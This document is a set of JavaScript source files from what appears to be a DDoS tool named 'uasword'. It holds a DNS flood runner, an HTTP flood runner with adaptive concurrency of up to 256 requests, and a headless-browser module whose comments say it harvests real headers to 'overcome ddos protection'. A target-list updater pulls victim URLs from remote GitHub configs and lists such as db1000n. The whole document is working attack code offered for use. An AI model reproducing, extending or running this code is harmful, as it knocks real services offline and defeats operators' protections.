/src/browser.js: -------------------------------------------------------------------------------- 1 | const os = require('os') 2 | const { sleep } = require('./helpers') 3 | 4 | let browser 5 | const freemem = os.freemem() / (1024 * 1024 * 1024) 6 | const MAX_BROWSER_CONTEXTS = Math.floor(freemem * 4) 7 | let activeContexts = 0 8 | 9 | const runBrowser = async () => { 10 | try { 11 | const { chromium } = require('playwright-core') 12 | 13 | // try install browser to make update easier for existing users. Safe to remove in 2 weeks. 14 | if (!process.env.IS_DOCKER) { 15 | try { 16 | let cli = require('playwright-core/lib/utils/registry') 17 | let executables = [cli.registry.findExecutable('chromium')] 18 | await cli.registry.installDeps(executables, false) 19 | await cli.registry.install(executables) 20 | executables.length = 0 21 | executables = null 22 | cli = null 23 | } catch { 24 | console.log('Failed to install browser or deps') 25 | } 26 | } 27 | 28 | browser = await chromium.launch() 29 | console.log('Max browser contexts', MAX_BROWSER_CONTEXTS) 30 | } catch { 31 | console.log('WARN: Unable to use real browser to overcome protection.') 32 | browser = null 33 | } 34 | } 35 | 36 | /** 37 | * try get real browser headers to use in attacks to overcome ddos protection 38 | * @param {string} baseURL 39 | * @param {boolean=} useBrowser 40 | * @returns {Promise>} 41 | */ 42 | const getRealBrowserHeaders = async (baseURL, useBrowser) => { 43 | if (!useBrowser) { 44 | return 45 | } 46 | if (!browser) { 47 | return null 48 | } 49 | 50 | while (activeContexts >= MAX_BROWSER_CONTEXTS || os.freemem() < 524288000) { 51 | await sleep(1000) 52 | } 53 | activeContexts++ 54 | 55 | let context 56 | try { 57 | context = await browser.newContext({ baseURL }) 58 | await abortBlocked(context) 59 | let page = await context.newPage() 60 | const acceptDialog = (dialog) => dialog.accept() 61 | page.on('dialog', acceptDialog) 62 | await page.goto('', { timeout: 15000 }) 63 | await sleep(5000) 64 | const [req] = await Promise.all([page.waitForRequest(baseURL), page.reload({ timeout: 10000 })]) 65 | const headers = await req.allHeaders() 66 | page.off('dialog', acceptDialog) 67 | await page.close() 68 | page = null 69 | return headers 70 | } catch { 71 | return null 72 | } finally { 73 | if (context) { 74 | await context.close() 75 | } 76 | activeContexts-- 77 | } 78 | } 79 | 80 | const blacklist = [ 81 | /.*\.jpg/, 82 | /.*\.jpeg/, 83 | /.*\.svg/, 84 | /.*\.ico/, 85 | /.*\.json/, 86 | /.*\.png/, 87 | /.*\.woff/, 88 | /.*\.woff\?.*/, 89 | /.*\.ttf/, 90 | /.*\.woff2/, 91 | /.*\.css/, 92 | /.*\.css\?.*/, 93 | /.*googleapis\.com\/.*/, 94 | /.*twitter\.com\/.*/, 95 | /.*\/themes\/.*/, 96 | /.*drupal\.js.*/, 97 | /.*jquery.*/, 98 | /.*jcaption.*/, 99 | /.*webform.*/, 100 | /.*doubleclick\.net\/.*/, 101 | /.*twimg\.com\/.*/, 102 | 'https://www.youtube.com/**', 103 | 'https://i.ytimg.com/**', 104 | 'https://maps.google.com/**', 105 | 'https://translate.google.com/**', 106 | 'https://consent.cookiebot.com/**', 107 | /.*googletagmanager.com\/.*/, 108 | /.*yandex.ru\/.*/, 109 | /.*gamepass.com\/.*/, 110 | /.*yastatic.net\/.*/, 111 | /.*livechatinc.com\/.*/, 112 | /.*msftncsi.com\/.*/, 113 | ] 114 | 115 | const abortBlocked = async (ctx) => { 116 | for (const url of blacklist) { 117 | await ctx.route(url, (r) => r.abort()) 118 | } 119 | } 120 | 121 | module.exports = { runBrowser, getRealBrowserHeaders } 122 | -------------------------------------------------------------------------------- /src/runner-dns.js: -------------------------------------------------------------------------------- 1 | const { Resolver } = require('dns/promises') 2 | 3 | const { sleep } = require('./helpers') 4 | 5 | const hostnames = require('../data/dns_hostnames.json') 6 | 7 | const FAILURE_DELAY = 60 * 1000 8 | const ATTEMPTS = 15 9 | 10 | // wait 1ms if concurrent requests limit is reached 11 | const REQ_DELAY = 1 12 | let MAX_CONCURRENT_REQUESTS = 8 13 | 14 | /** 15 | * @param {Object} opts 16 | * @param {string} opts.host dns host (ip address) 17 | * @param {number=53} [opts.port] dns port 18 | * @param {Array} [opts.targets] resolve hostnames from targets list 19 | * @param {EventEmitter} eventEmitter 20 | * @return {Promise} 21 | */ 22 | const runnerDns = async ({ host, port = 53, targets = hostnames } = {}, eventEmitter) => { 23 | if (typeof host !== 'string' || typeof port !== 'number' || !Array.isArray(targets)) { 24 | console.log('Invalid value for dns host:port', host, port) 25 | return 26 | } 27 | 28 | console.log(`Running dns flood for ${host}:${port}`) 29 | 30 | const resolver = new Resolver({ timeout: 6000, tries: 1 }) 31 | resolver.setServers([host.includes(':') ? `[${host}]:${port}` : `${host}:${port}`]) 32 | 33 | let concurrentReqs = targets.length 34 | let isRunning = true 35 | let isActive = true 36 | let pending = 0 37 | let lastMinuteOk = 0 38 | let lastMinuteErr = 0 39 | let failureAttempts = 0 40 | 41 | let errRate = 0 42 | let total_reqs = 0 43 | let new_reqs = 0 44 | 45 | const getStatsFn = () => { 46 | eventEmitter.emit('RUNNER_STATS', { type: 'dns', host, port, total_reqs, new_reqs, errRate, isActive }) 47 | new_reqs = 0 48 | } 49 | eventEmitter.on('GET_STATS', getStatsFn) 50 | 51 | const stopEventFn = () => { 52 | isRunning = false 53 | } 54 | eventEmitter.once('RUNNER_STOP', stopEventFn) 55 | 56 | const adaptivenessInterval = 10 57 | const adaptIntervalFn = () => { 58 | if (failureAttempts === 0) { 59 | lastMinuteOk = 0 60 | lastMinuteErr = 0 61 | 62 | if (errRate > 20) { 63 | concurrentReqs = Math.floor(concurrentReqs * 0.6) 64 | } else if (errRate > 10) { 65 | concurrentReqs = Math.floor(concurrentReqs * 0.8) 66 | } else if (errRate > 5) { 67 | concurrentReqs = Math.floor(concurrentReqs * 0.9) 68 | } else if (errRate < 1) { 69 | concurrentReqs = Math.min(concurrentReqs + 5, MAX_CONCURRENT_REQUESTS) 70 | } 71 | } 72 | } 73 | let adaptInterval = setInterval(adaptIntervalFn, adaptivenessInterval * 1000) 74 | 75 | while (isRunning) { 76 | if (pending < concurrentReqs) { 77 | pending++ 78 | resolver 79 | .resolve(getNextHostname(targets)) 80 | .then(() => { 81 | lastMinuteOk++ 82 | }) 83 | .catch(() => { 84 | lastMinuteErr++ 85 | }) 86 | .finally(() => { 87 | pending-- 88 | total_reqs++ 89 | new_reqs++ 90 | errRate = Math.floor(100 * (lastMinuteErr / (1 + lastMinuteErr + lastMinuteOk))) 91 | }) 92 | } else if (concurrentReqs === 0 || errRate > 95) { 93 | clearInterval(adaptInterval) 94 | const nextDelay = FAILURE_DELAY + failureAttempts * FAILURE_DELAY 95 | console.log(host, port, 'is not reachable. Retrying in', nextDelay, 'ms...') 96 | failureAttempts++ 97 | if (failureAttempts >= ATTEMPTS) { 98 | isRunning = false 99 | } else { 100 | concurrentReqs = targets.length 101 | isActive = false 102 | await sleep(nextDelay) 103 | isActive = true 104 | lastMinuteOk = 0 105 | lastMinuteErr = 0 106 | errRate = 0 107 | adaptInterval = setInterval(adaptIntervalFn, adaptivenessInterval * 1000) 108 | } 109 | } else { 110 | await sleep(REQ_DELAY) 111 | } 112 | } 113 | 114 | clearInterval(adaptInterval) 115 | eventEmitter.off('GET_STATS', getStatsFn) 116 | eventEmitter.off('RUNNER_STOP', stopEventFn) 117 | console.log('Stopping dns runner for:', host, port) 118 | } 119 | 120 | let idx = 0 121 | const getNextHostname = (targets) => { 122 | idx++ 123 | if (idx >= targets.length) { 124 | idx = 0 125 | } 126 | return targets[idx] 127 | } 128 | 129 | const setMaxDnsReqs = (maxReqs) => { 130 | MAX_CONCURRENT_REQUESTS = maxReqs 131 | } 132 | 133 | module.exports = { runnerDns, setMaxDnsReqs } 134 | -------------------------------------------------------------------------------- /src/getTargets.js: -------------------------------------------------------------------------------- 1 | /** 2 | * @type {import('axios').AxiosStatic} 3 | */ 4 | const axios = require('axios') 5 | 6 | const { run } = require('./spawnRunner') 7 | 8 | const urlsPoolInterval = 15 * 60 * 1000 9 | const configUrl = 'https://raw.githubusercontent.com/mgrybyk/uasword/master/data/config.json' 10 | 11 | const db1000n = 'db1000n_v0.7' 12 | 13 | /** 14 | * @param {EventEmitter} eventEmitter 15 | * @param {Array<{method: 'get'; page: string; ip?: string; useBrowser?:boolean} | {method: 'dns'; host: string; port: number;}>} urlList 16 | */ 17 | const siteListUpdater = (eventEmitter, urlList) => { 18 | setInterval(async () => { 19 | const updatedUrlList = await getSites() 20 | 21 | if (JSON.stringify(updatedUrlList) !== JSON.stringify(urlList)) { 22 | eventEmitter.emit('RUNNER_STOP') 23 | console.log('\n', new Date().toISOString(), 'Updating urls list\n') 24 | urlList.length = 0 25 | urlList = updatedUrlList 26 | run(eventEmitter, urlList) 27 | } 28 | }, urlsPoolInterval) 29 | } 30 | 31 | /** 32 | * 33 | * @returns {Promise>} 34 | */ 35 | const getSites = async () => { 36 | const urlList = [] 37 | 38 | // try get config 39 | const sitesUrls = { string: [], object: [], [db1000n]: [] } 40 | try { 41 | const res = await axios.get(configUrl) 42 | for (const urlConfig of res.data.urls) { 43 | if ( 44 | process.env[`ENABLE_${urlConfig.name}_LISTS`] === 'true' || 45 | (urlConfig.enabled && process.env[`SKIP_${urlConfig.name}_LISTS`] !== 'true') 46 | ) { 47 | sitesUrls[urlConfig.type].push(urlConfig.url) 48 | } 49 | } 50 | } catch (err) { 51 | console.log(new Date().toISOString(), 'WARN: Failed to fetch config', configUrl) 52 | } 53 | 54 | // uashield, uasword 55 | urlList.push( 56 | ...(await getSitesFn( 57 | sitesUrls.object, 58 | (d) => !Array.isArray(d) || (d.length > 0 && typeof d[0] !== 'object'), 59 | (d) => d.filter((x) => x.method === 'get' || x.method === 'dns') 60 | )) 61 | ) 62 | 63 | // UA Cyber SHIELD list 64 | urlList.push( 65 | ...(await getSitesFn( 66 | sitesUrls.string, 67 | (d) => typeof d !== 'string', 68 | (d) => 69 | d 70 | .split('\n') 71 | .filter((s) => s.startsWith('http')) 72 | .map((page) => ({ page, method: 'get' })) 73 | )) 74 | ) 75 | 76 | // db1000n 77 | urlList.push( 78 | ...(await getSitesFn( 79 | sitesUrls[db1000n], 80 | (d) => !Array.isArray(d.jobs), 81 | (d) => 82 | d.jobs 83 | .filter(({ type, args }) => type === 'http' && args.request.method === 'GET') 84 | .map(({ args }) => ({ 85 | method: 'get', 86 | page: args.request.path, 87 | ip: args.client?.static_host?.addr.split(':')[0], 88 | })) 89 | )) 90 | ) 91 | 92 | return filterDups(urlList) 93 | } 94 | 95 | const getSitesFn = async (sitesUrls, assertionFn, parseFn) => { 96 | const urlList = [] 97 | for (const sitesUrl of sitesUrls) { 98 | try { 99 | const res = await axios.get(sitesUrl) 100 | if (assertionFn(res.data)) { 101 | throw new Error('Unable to parse site url', sitesUrl) 102 | } 103 | urlList.push(...parseFn(res.data)) 104 | } catch (err) { 105 | console.log(new Date().toISOString(), 'WARN: Failed to fetch new urls list from', sitesUrl) 106 | } 107 | } 108 | return urlList 109 | } 110 | 111 | /** 112 | * @param {Array<{method: 'get'; page: string; ip?: string; useBrowser?:boolean} | {method: 'dns'; host: string; port: number;}>} urlList 113 | */ 114 | const filterDups = (urlList) => { 115 | const toDelete = [] 116 | const processed = [] 117 | 118 | urlList.forEach((x) => { 119 | if (typeof x.page === 'string' && x.page.endsWith('/')) { 120 | x.page = x.page.slice(0, -1) 121 | } 122 | }) 123 | 124 | urlList 125 | .filter((x) => x.method === 'get') 126 | .forEach((x) => { 127 | if (!processed.includes(x)) { 128 | const possibleDups = urlList.filter((y) => y.page === x.page) 129 | processed.push(...possibleDups) 130 | 131 | if (possibleDups.length > 1) { 132 | const withBrowser = possibleDups.findIndex((y) => typeof y.useBrowser === 'boolean') 133 | if (withBrowser > -1) { 134 | possibleDups.splice(withBrowser, 1) 135 | } else { 136 | const withIp = possibleDups.filter((y) => typeof y.ip !== 'undefined') 137 | if (withIp.length === 0) { 138 | possibleDups.length = possibleDups.length - 1 139 | } else { 140 | while (withIp.length > 1) { 141 | const possibleDup = withIp.pop() 142 | const ipDup = possibleDups.findIndex((y) => y === possibleDup && y.ip === possibleDup.ip) 143 | if (ipDup > -1) { 144 | possibleDups.splice(ipDup, 1) 145 | } 146 | } 147 | } 148 | } 149 | 150 | toDelete.push( 151 | ...possibleDups.filter((y) => typeof y.useBrowser === 'undefined' && typeof y.ip === 'undefined') 152 | ) 153 | } 154 | } 155 | }) 156 | processed.length = 0 157 | 158 | while (toDelete.length > 0) { 159 | const idx = urlList.indexOf(toDelete.pop()) 160 | urlList.splice(idx, 1) 161 | } 162 | 163 | return urlList 164 | } 165 | 166 | module.exports = { siteListUpdater, getSites } 167 | -------------------------------------------------------------------------------- /src/runner.js: -------------------------------------------------------------------------------- 1 | const { sleep } = require('./helpers') 2 | const { spawnClientInstance, resolve4, maxContentLength } = require('./client/client') 3 | const { generateRequestHeaders } = require('./client/headers') 4 | const { getRealBrowserHeaders } = require('./browser') 5 | 6 | const FAILURE_DELAY = 60 * 1000 7 | const ATTEMPTS = 15 8 | // concurrent requests adopts based on error rate, but won't exceed the max value 9 | const MAX_CONCURRENT_REQUESTS = 256 10 | 11 | const UPDATE_COOKIES_INTERVAL = 9 * 60 * 1000 12 | 13 | const ignoredErrCode = 'ECONNABORTED' 14 | const maxSizeError = `maxContentLength size of ${maxContentLength} exceeded` 15 | 16 | /** 17 | * @param {Object} opts 18 | * @param {string} opts.page url 19 | * @param {string=} [opts.ip] static ip address 20 | * @param {boolean=} [opts.useBrowser] run real browser to get cookies 21 | * @param {EventEmitter} eventEmitter 22 | * @return {Promise} 23 | */ 24 | const runner = async ({ page: url, ip, useBrowser } = {}, eventEmitter) => { 25 | if (typeof url !== 'string' || url.length < 10 || !url.startsWith('http')) { 26 | console.log('Invalid value for URL', url) 27 | return 28 | } 29 | const printUrl = (useBrowser ? '[B] ' : '') + (url.length > 37 ? url.substring(0, 38) + '...' : url) 30 | const printIp = ip ? `[${ip}]` : '' 31 | 32 | let concurrentReqs = 4 33 | console.log('Starting process for', printUrl, printIp) 34 | 35 | const urlObject = new URL(url) 36 | let newIp = ip || (await resolve4(urlObject.hostname)) 37 | let browserHeaders = await getRealBrowserHeaders(url, useBrowser && newIp) 38 | const client = spawnClientInstance(url) 39 | 40 | let isRunning = true 41 | let isActive = true 42 | let pending = 0 43 | let lastMinuteOk = 0 44 | let lastMinuteErr = 0 45 | let failureAttempts = 0 46 | 47 | let errRate = 0 48 | let total_reqs = 0 49 | let new_reqs = 0 50 | 51 | const getStatsFn = () => { 52 | eventEmitter.emit('RUNNER_STATS', { 53 | type: 'http', 54 | url: printUrl, 55 | ip: newIp, 56 | total_reqs, 57 | new_reqs, 58 | errRate, 59 | isActive, 60 | }) 61 | new_reqs = 0 62 | } 63 | eventEmitter.on('GET_STATS', getStatsFn) 64 | 65 | // update cookies every 10 minutes 66 | const updateCookiesFn = async () => { 67 | if (isActive && isRunning && useBrowser) { 68 | const concurrentReqsPrev = concurrentReqs 69 | concurrentReqs = 3 70 | browserHeaders = await getRealBrowserHeaders(url, useBrowser && newIp) 71 | concurrentReqs = concurrentReqsPrev 72 | } 73 | } 74 | let updateCookiesInterval = setInterval(updateCookiesFn, UPDATE_COOKIES_INTERVAL) 75 | 76 | const adaptivenessInterval = 15 77 | let canIncrease = true 78 | const adaptIntervalFn = () => { 79 | if (failureAttempts === 0) { 80 | lastMinuteOk = 0 81 | lastMinuteErr = 0 82 | canIncrease = false 83 | 84 | if (errRate > 20) { 85 | concurrentReqs = Math.floor(concurrentReqs * 0.6) 86 | } else if (errRate > 10) { 87 | concurrentReqs = Math.floor(concurrentReqs * 0.8) 88 | } else if (errRate > 5) { 89 | concurrentReqs = Math.floor(concurrentReqs * 0.9) 90 | } else if (errRate < 1 && canIncrease) { 91 | concurrentReqs = Math.min(concurrentReqs + 3, MAX_CONCURRENT_REQUESTS) 92 | } else { 93 | canIncrease = true 94 | } 95 | } 96 | } 97 | let adaptInterval = setInterval(adaptIntervalFn, adaptivenessInterval * 1000) 98 | 99 | const stopEventFn = () => { 100 | isRunning = false 101 | clearInterval(adaptInterval) 102 | } 103 | eventEmitter.once('RUNNER_STOP', stopEventFn) 104 | 105 | while (isRunning) { 106 | if (!newIp || concurrentReqs < 3 || errRate > 95) { 107 | clearInterval(adaptInterval) 108 | clearInterval(updateCookiesInterval) 109 | const nextDelay = FAILURE_DELAY + failureAttempts * (FAILURE_DELAY / 2) 110 | console.log(printUrl, printIp, 'is not reachable. Retrying in', nextDelay, 'ms...') 111 | failureAttempts++ 112 | // stop process 113 | if (failureAttempts >= ATTEMPTS) { 114 | isRunning = false 115 | } else { 116 | concurrentReqs = 5 117 | isActive = false 118 | await sleep(nextDelay) 119 | newIp = ip || (await resolve4(urlObject.hostname, newIp)) 120 | browserHeaders = await getRealBrowserHeaders(url, useBrowser && newIp) 121 | isActive = true 122 | lastMinuteOk = 0 123 | lastMinuteErr = 0 124 | errRate = 0 125 | adaptInterval = setInterval(adaptIntervalFn, adaptivenessInterval * 1000) 126 | updateCookiesInterval = setInterval(updateCookiesFn, UPDATE_COOKIES_INTERVAL) 127 | } 128 | } else if (pending < concurrentReqs) { 129 | pending++ 130 | 131 | client('', { 132 | ip: newIp, 133 | headers: browserHeaders || generateRequestHeaders(), 134 | }) 135 | .then((res) => { 136 | if (res.status === 403) { 137 | lastMinuteErr++ 138 | } else { 139 | failureAttempts = 0 140 | lastMinuteOk++ 141 | } 142 | }) 143 | .catch((err) => { 144 | if (err.code !== ignoredErrCode && err.message !== maxSizeError) { 145 | lastMinuteErr++ 146 | } 147 | }) 148 | .finally(() => { 149 | pending-- 150 | total_reqs++ 151 | new_reqs++ 152 | errRate = Math.floor(100 * (lastMinuteErr / (1 + lastMinuteErr + lastMinuteOk))) 153 | }) 154 | } 155 | await sleep(2) 156 | } 157 | 158 | clearInterval(updateCookiesInterval) 159 | clearInterval(adaptInterval) 160 | eventEmitter.off('GET_STATS', getStatsFn) 161 | eventEmitter.off('RUNNER_STOP', stopEventFn) 162 | console.log('Stopping runner for:', printUrl, printIp) 163 | } 164 | 165 | module.exports = { runner } 166 | --------------------------------------------------------------------------------